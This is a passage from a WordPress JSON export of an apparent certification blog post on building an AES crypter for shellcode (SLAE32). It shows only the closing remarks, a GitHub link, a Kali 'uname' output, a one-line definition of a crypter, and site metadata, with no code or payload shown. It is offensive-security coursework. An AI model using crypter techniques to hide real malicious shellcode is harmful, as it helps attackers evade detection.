&amp; 2 in this series.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Code<\/h3>\n\n\n\n<p>The Python and C source code for my custom crypter implementation can be found on my <a href=\"https:\/\/github.com\/war4uthor\/SLAE32\">GitHub repository<\/a>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>This blog post has been created for completing the requirements of the <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\">SecurityTube Linux Assembly Expert<\/a> certification.<\/p>\n\n\n\n<p><strong>Student ID:<\/strong> PA-6483<\/p>\n\n\n\n<p>All code was tested on 32-bit Kali Linux:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(jack\u327fkali)-&#x5B;~\/SLAE32\/Assignment 7: Custom Crypter]\n\u2514\u2500$ uname -a\nLinux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU\/Linux\n<\/pre><\/div>\n\n\n<p>This concludes our series of blog posts on x86 Linux assembly for the SLAE32 certification.<\/p>\n\n\n\n<p>Thanks for reading!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n","protected":false},"excerpt":{"rendered":"<p>In this blog post, we will be covering an implementation of a custom crypter using AES encryption. This post follows on in our blog series created for the SLAE32 certification course provided by Pentester Academy. Overview A crypter is a piece of code which can be used to encrypt a file, executable or shellcode buffer.&hellip;<\/p>\n","protected":false},"author":1,"featured_media":305,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[29,6,30,26,28],"tags":[27],"class_list":["post-294","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-assembly","category-certifications","category-linux","category-reverse-engineering","category-shellcoding","tag-slae32"],"_links":{"self":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/294","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=294"}],"version-history":[{"count":10,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/294\/revisions"}],"predecessor-version":[{"id":723,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/294\/revisions\/723"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/media\/305"}],"wp:attachment":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=294"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=294"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=294"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}